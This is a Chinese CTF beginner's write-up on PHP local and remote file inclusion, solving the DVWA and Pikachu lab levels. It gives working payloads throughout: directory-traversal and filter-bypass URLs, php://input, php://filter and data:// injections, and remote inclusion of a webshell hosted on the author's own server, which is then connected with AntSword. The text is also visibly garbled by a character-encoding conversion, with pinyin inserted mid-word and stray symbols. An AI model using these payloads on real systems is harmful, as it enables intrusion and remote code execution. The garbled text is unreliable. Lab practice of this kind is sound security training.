文件包含漏洞(包含DVWA Pikachu靶場(chǎng)題目的WP)
疊甲申明:CTF小白學(xué)習(xí)日記和筆記,如果筆記有錯(cuò)誤,不清楚的地方請(qǐng)師傅們一定批評(píng)指出?。?!我現(xiàn)在處于很菜雞的階段,很渴望師傅們的教導(dǎo),希望師傅們能夠不吝嗇自己的批評(píng),非常感謝??!
1.什么是文件包含漏洞
我們來(lái)看一段代碼就知道了

這是最基本的一種文件包含的操作,也就是跟我們c語(yǔ)言的#include 的操作差不多,有些代碼很重要需要重復(fù)使用在各個(gè)文件里面,這個(gè)時(shí)候我們就專門(mén)將這種代碼封裝為一個(gè)文件包含起來(lái),要使用的時(shí)候就直接include(文件名就行,當(dāng)然得是同目錄下才能調(diào)用)
文件包含漏洞的一個(gè)大的方面就是這些include類似作用的函數(shù)產(chǎn)生的漏洞,它在執(zhí)行它參數(shù)里面的文件時(shí)是不會(huì)去看這個(gè)文件是什么后綴名的,而是直接執(zhí)行它里面的內(nèi)容,只要是php內(nèi)容格式?jīng)]錯(cuò)就會(huì)去執(zhí)行,我們也是利用這一特性來(lái)進(jìn)行操作的
下面列舉幾個(gè)常用的文件包含的操作:
include() ? 執(zhí)行到include時(shí)才包含文件,找不到文件產(chǎn)生警告,腳本繼續(xù)執(zhí)行
require() ? 程序運(yùn)行就包含文件,找不到文件產(chǎn)生錯(cuò)誤,腳本停止
include_once()
require_once()
和前面注解一樣,_once()后綴表明只會(huì)包含一次,已包含則不會(huì)再包含
這幾個(gè)函數(shù)我們之后會(huì)經(jīng)常用到
2.文件包含的類型
文件包含漏洞的類型大致可以分為兩種,一種是本地文件包含漏洞 一種是遠(yuǎn)程文件包含漏洞
如何去區(qū)分這兩個(gè)漏洞?最簡(jiǎn)單的方法就是看看 php.ini的配置文件中有沒(méi)有將allow_url_include開(kāi)啟,如果有,那我們就有可能進(jìn)行文件遠(yuǎn)程包含的操作,如果沒(méi)有 也就是allow_url_include處于off狀態(tài),那我們只能用本地的文件包含去執(zhí)行了
1.本地文件包含
本地文件包含就是通過(guò)游覽器來(lái)包含我們web服務(wù)器上的文件,從而達(dá)到啟用目標(biāo)文件的目的,一般這個(gè)時(shí)候漏洞產(chǎn)生的原因就是沒(méi)有進(jìn)行嚴(yán)格的過(guò)濾。
本地文件包含去查找執(zhí)行我們的木馬文件的時(shí)候有兩種操作
1.
一種是同目錄下的直接查找
?file=test.txt
另一種是目錄遍歷的查找
?file=./../../test.txt
其中,./表示當(dāng)前目錄 ../表示上一級(jí)目錄
2.包含日志
大部分情況下,web服務(wù)器會(huì)把請(qǐng)求寫(xiě)入到日志文件中,apache就會(huì)這么做,當(dāng)用戶發(fā)起請(qǐng)求時(shí),會(huì)將請(qǐng)求寫(xiě)入access.log這個(gè)文件,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫(xiě)入error.log的文件 默認(rèn)情況下日志的保存路徑是var/log/apache2
3.有防御的本地文件包含
<?php
? ?$file = $_GET['file'];
? ?include '/var/www/html/'.$file.'/test/test.php';
?>
這段代碼指定了前綴和后綴,就已經(jīng)很難可以去包含前面提到的文件了
但還是有方法去繞過(guò)的
%00截?cái)?/h1>
其實(shí)00截?cái)嗟膱?chǎng)景在日常生產(chǎn)實(shí)際已經(jīng)很少見(jiàn)了,它的原理是這樣的:php本身的內(nèi)核是由C語(yǔ)言去實(shí)現(xiàn)的,有些C語(yǔ)言處理字符串的方式也就沿用了C的方式,比如\0當(dāng)作字符串的結(jié)尾這一設(shè)定也沿用了下來(lái),我們傳入的文件名也是一段字符串,當(dāng)我們的文件開(kāi)始創(chuàng)建文件名時(shí),%00后面的內(nèi)容就會(huì)被全部階段掉,只保留我們前面的內(nèi)容
但是00截?cái)嗟臈l件使用十分苛刻
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
還有幾種截?cái)嗟姆椒ㄓ捎跅l件使用極為苛刻,就不再重復(fù)贅述
2.遠(yuǎn)程文件包含
重點(diǎn)學(xué)習(xí)php偽協(xié)議的使用
1.構(gòu)造URL繞過(guò)
構(gòu)造URL 利用?截?cái)嗟募夹g(shù)我們先碼住,水平到了再來(lái)理解復(fù)現(xiàn)
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23
/?path=http://localhost/test/solution.php?
最終結(jié)果產(chǎn)生了如下效果
require_once "http://localhost/test/solution.php?/action/m_share.php";
2.php偽協(xié)議的繞過(guò)
1.php流input
使用條件:
1、allow_url_include = On。
2、對(duì) allow_url_fopen 不做要求。
提交方式必須得是POST提交
index.php?file=php://input
POST:
<? phpinfo();?>
使用實(shí)例如上 ?效果如下

<? php
$ file = $ _GET ['file'];
include ($ file);
?>
當(dāng)我們?cè)诋?dāng)前php文件夾種創(chuàng)建或者上傳一個(gè)flag.php的文件,我們就可以通過(guò)get傳參的方法傳入我們的flag.php文件,從而實(shí)現(xiàn)我們flag.php的功能
當(dāng)然,不止除了我們同一文件夾下的文件,其他文件夾,即使是C盤(pán)里的文件夾它也是可以讀取出來(lái)的,這些都是在你們完全擁有控制改頁(yè)面的權(quán)力,并且文件類型沒(méi)有進(jìn)一步過(guò)濾時(shí)才有效。
讓我們換一種文件包含使用的案例
<?php
$file = $_GET['file'] . '.php';
echo $file;
include($file);
主要是第二行的.php的操作,將我們的php后綴給添加上去了,導(dǎo)致我們無(wú)法正常讀取到我們想要的文件
這樣的防御代碼也是很容易攻破的,我們可以采用%00截?cái)嗟姆绞剑@個(gè)截?cái)喾绞绞歉鶕?jù)windows本身的對(duì)于數(shù)據(jù)流的看待的問(wèn)題,文件上傳中已經(jīng)講過(guò)了,就是通過(guò)1.php%00的類似的形式,將后面的字符串失效,因?yàn)閣indows讀到%00就認(rèn)定后面沒(méi)有了字符了,就不讀取了
當(dāng)然%00是有使用條件的
1.PHP版本<5.3(不包括5.3);
2. PHP magic_quotes_gpc = off
; 要在php.ini中去設(shè)置
其實(shí)我們?cè)趯?xiě)文件上傳漏洞的時(shí)候就是運(yùn)用到的文件遠(yuǎn)程包含的漏洞,其原理就是上傳我們用戶自己提交的文件,然后通過(guò)有include操作的腳本頁(yè)面對(duì)我們上傳的shell進(jìn)行讀取和使用
前提條件是
1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
2.所需的遠(yuǎn)程文件后綴不能與目標(biāo)服務(wù)器的語(yǔ)言相同,如目標(biāo)服務(wù)器解析PHP代碼,則遠(yuǎn)程文件后綴不能為.php
第一點(diǎn)是我們php的設(shè)置問(wèn)題暫且不提,主要是第二點(diǎn)如何去理解?
假如說(shuō)我們的遠(yuǎn)程文件有.php的后綴,然后我們的這個(gè)遠(yuǎn)程文件的內(nèi)容是<? php phpinfo ();> ?
現(xiàn)在我不上傳文件到服務(wù)器本地的文件夾,我直接令file=自己的這個(gè)URL所對(duì)應(yīng)的文件shell
先在我自己的本地上執(zhí)行以下試試

然后將我本地的這個(gè)使用shell的URL賦值到file的內(nèi)容讓目標(biāo)服務(wù)器(目標(biāo)服務(wù)器使用的php是5.2版本)來(lái)解析并作用我們的shell,發(fā)現(xiàn)結(jié)果還是5.6的php,還是我們自己的本地的php版本,并沒(méi)有去解析它服務(wù)器本地php版本

所以我們要將我們的allow_url_include = on和allow_url_fopen= on打開(kāi)
然后還要將我們的上傳的文件后綴改為不一樣的后綴,就比如說(shuō)改為我們的txt文本文件

修改之后再去執(zhí)行,發(fā)現(xiàn)成功了
其實(shí)我們的include函數(shù)是不會(huì)看你的文件后綴名的,它只會(huì)去解析你文件里面的內(nèi)容,是php的內(nèi)容就會(huì)解析出來(lái)
但是題目有時(shí)候是不會(huì)給你開(kāi)include函數(shù)的,需要你用其他方法去執(zhí)行你的php木馬
所以我們總結(jié)一下,如果要使用遠(yuǎn)程文件包含就必須要符合服務(wù)器本地文件的包含前提,而且不能是同一語(yǔ)言(其實(shí)就是后綴)
4.DVWA靶場(chǎng) 文件包含部分
1.LOW
1.本地文件包含
此時(shí)我們已經(jīng)打開(kāi)了
function allow_url_include(允許遠(yuǎn)程文件包含)
function allow_url_fopen(允許將URL當(dāng)作文件來(lái)看待)
這兩個(gè)一打開(kāi)我們無(wú)論是本地文件包含還是遠(yuǎn)程文件包含都能做了
關(guān)鍵點(diǎn)就是function allow_url_include的開(kāi)啟,它允許我們能夠?qū)⒈镜氐奈募?nèi)容放到服務(wù)器上去執(zhí)行(一般情況下是關(guān)的)
這里我們有幾個(gè)方法可以去利用這個(gè)漏洞
1.文件上傳和文件包含的同時(shí)運(yùn)用
這里我們先在fileupload上傳一個(gè)我們的木馬文件,內(nèi)容如下

然后再在low等級(jí)里面直接上傳我們shell文件

復(fù)制一下路徑,然后回到文件包含題目界面,構(gòu)造如下payload
http://www.dvwa.com/vulnerabilities/fi/?page=../../hackable/uploads/shell2.txt
這里為什么是shell2.txt,因?yàn)槲覀兊膇nclude函數(shù)不會(huì)去看我們文件的后綴名什么的,它會(huì)直接讀取我們文件里面的內(nèi)容去把它解析,如果是php代碼的話就會(huì)直接執(zhí)行
再用蟻劍連一下

這就是本地的文件包含的基本步驟,當(dāng)然前提是服務(wù)器的本地有我們上傳的shell環(huán)境才能成功該方法,下面介紹遠(yuǎn)程文件包含
2.遠(yuǎn)程文件包含的方法
遠(yuǎn)程文件包含的前提是必須打開(kāi)function allow_url_include =on 這樣系統(tǒng)才能將我們本機(jī)攻擊機(jī)的文件inclue出來(lái)

首先在我們的www目錄下創(chuàng)建一下shell.txt的網(wǎng)址內(nèi)容

然后再去網(wǎng)站上訪問(wèn)一下記錄下我們的URL,開(kāi)始行動(dòng)
在文件上傳頁(yè)面對(duì)page構(gòu)造如下payload
www.dvwa.com/vulnerabilities/fi/?page=http://www.caogao.com/shell2.txt
到界面之后也是同樣的步驟就可以完成
2.MID

試了試三個(gè)頁(yè)面發(fā)現(xiàn)還是page值可以傳,那我們先試試我們自己上傳的shell界面能不能訪問(wèn)得到
發(fā)現(xiàn)出錯(cuò)了,訪問(wèn)不了,我們看一下源碼
1.本地文件包含方式
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
它把我們的遠(yuǎn)程包含和本地包含的一些URL構(gòu)造的特征給去掉了,只允許在它同一文件夾下的路徑進(jìn)行文件包含,但是他儲(chǔ)存文件的地方又與它執(zhí)行文件的地方不在同一個(gè)地方
所以我們要進(jìn)行一些繞過(guò),才能實(shí)現(xiàn)目的
對(duì)于本地的繞過(guò)的話我們構(gòu)造如下payload進(jìn)行繞過(guò)
可以看到..././..././再經(jīng)過(guò)防御代碼的刪減之后就是我們所剩下的../../形式
幸虧它不刪./,不然還真構(gòu)造不了
http://www.dvwa.com/vulnerabilities/fi/?page=..././..././hackable/uploads/shell3.txt
看看結(jié)果,還是挺不錯(cuò)的

在網(wǎng)上找了找DVWA的攻略,原來(lái)是有flag的
http://www.dvwa.com/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/flags/fi.php
我們通過(guò)這個(gè)本地的絕對(duì)路徑去找flag 當(dāng)然這是根據(jù)報(bào)錯(cuò)所提供的flag的地址,這串代碼的結(jié)果就是讓我們獲得了flag網(wǎng)址的源碼的base64形式,我們放到base64解碼看一下

<?php
if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
? ? ? ?exit ("Nice try ;-). Use the file include next time!");
?>
1.) Bond. James Bond
<?php
echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";
$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );
?>
<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->
之后要找尋信息的話我們可以就是按照這個(gè)目的去找flag
2.遠(yuǎn)程文件包含方式
有兩種方式的URL的繞過(guò)
1.
http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>');?>
2.
http://www.dvwa.com/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>
因?yàn)橄到y(tǒng)替換了http的字符,data啥的偽協(xié)議沒(méi)有去掉,也是可以使用的
3.HIGH
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
? ?// This isn't the page we want!
? ?echo "ERROR: File not found!";
? ?exit;
}
?>
我們首先來(lái)看看源碼,這里有一個(gè)fnmatch函數(shù),我們先來(lái)介紹一下
這個(gè)函數(shù)主要是為了匹配指定字符串與我們的通配符字符串是否符合條件。什么是通配符?
就是* ?這兩個(gè)符號(hào),而我們的file*就表示通配符字符串,它代表著一系列字符串,比如filea fileb 或者fileabeec
多個(gè)字符的替換也行,而我們的?則只能表示一個(gè)字符的替換,比如fli?e,就只能fiale,filbe,等等單個(gè)字符不同的字符串組,而我們的函數(shù)就是為了通配符函數(shù)判斷才有的
那這題的防御就是我們?nèi)绻皇莊ile1 file2 filexxx等等的文件是不會(huì)有繞過(guò)機(jī)會(huì)給你繞過(guò)的
那這個(gè)時(shí)候我們是不是想到了一個(gè)偽協(xié)議 就是我們的file://協(xié)議,它正好滿足我們的file通配符要求
那我們使用file協(xié)議之前要了解它的具體功能
他能訪問(wèn)我們服務(wù)器的本地文件,而且不受allow_url_fopen,allow_url_include的影響
需要絕對(duì)路徑相對(duì)路徑或者網(wǎng)絡(luò)路徑才能使用
那根據(jù)規(guī)則我們直接構(gòu)造payload 也不用去考慮防御代碼的過(guò)濾了,file偽協(xié)議本身就自帶file,可以繞過(guò)
我們上面找到過(guò)絕對(duì)路徑 復(fù)制下來(lái)重復(fù)使用
1.本地文件包含
file://E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/flags/fi.php

成功了找到了flag,那我們?cè)囋噲?zhí)行自己的腳本看看,構(gòu)造我們腳本的本地文件的payload
file://E:/somephp/php/phpstudy_pro/WWW/DVWA-master/hackable/uploads/shell3.txt
也是成功訪問(wèn)

這是本地文件包含的繞過(guò)方法,主要是要對(duì)路徑搞清楚,能知道絕對(duì)路徑當(dāng)然更好,構(gòu)造相對(duì)路徑也行
2.遠(yuǎn)程文件包含
整體思路還是要用到我們的file協(xié)議去啟動(dòng)到我們的shell界面,然后再去蟻劍連
5.pikachu靶場(chǎng) 文件包含部分
1.本地文件包含


無(wú)論我們選哪種圖片都是這個(gè)格式,說(shuō)明是可以運(yùn)用文件包含這個(gè)注入點(diǎn)的。
輸入filename=5.php 看看有沒(méi)有錯(cuò)誤爆出路徑,還真有,我們保存一下,之后可能會(huì)用到

E:\somephp\php\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\fi_local.php

我們隨便傳一個(gè)文件名看看(shell3.txt)前面莫名奇妙多了個(gè)include 看來(lái)它前面限定了我們傳上來(lái)的路徑必須包含在include文件夾里面,絕對(duì)路徑肯定用不了了,我們只能試試相對(duì)路徑
http://www.pikachu.com/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/shell3.txt&submit=1
上述為構(gòu)造的payload 這邊要猜一下,我們之前皮卡丘的文件上傳的存入路徑和我們文件包含的路徑是在同一個(gè)大的文件夾下的,可以再去重試一下我們文件上傳時(shí)的那個(gè)圖片的儲(chǔ)存路徑就可以大概猜出我們的shell文件的位置
再看看蟻劍連一下
密碼是a,成功連接
2.遠(yuǎn)程文件包含
我們的遠(yuǎn)程文件的payload先碼一下
http://www.caogao.com/shell3.txt
然后向這樣傳入值,就可以遠(yuǎn)程執(zhí)行我們自己的木馬了
http://www.pikachu.com/vul/fileinclude/fi_remote.php?filename=http://www.caogao.com/shell3.txt&submit=1
還是拿蟻劍連一下
成功
做完這么多題我覺(jué)得還是要弄清楚遠(yuǎn)程文件包含和本地文件包含的區(qū)別以及他們的使用條件
最終還要結(jié)合文件上傳與文件包含去做題,光做這幾個(gè)靶場(chǎng)是遠(yuǎn)遠(yuǎn)不夠的,最多只是幫我們建立起最基礎(chǔ)的概念和做題方法,還是得去別的地方多做題,多總結(jié)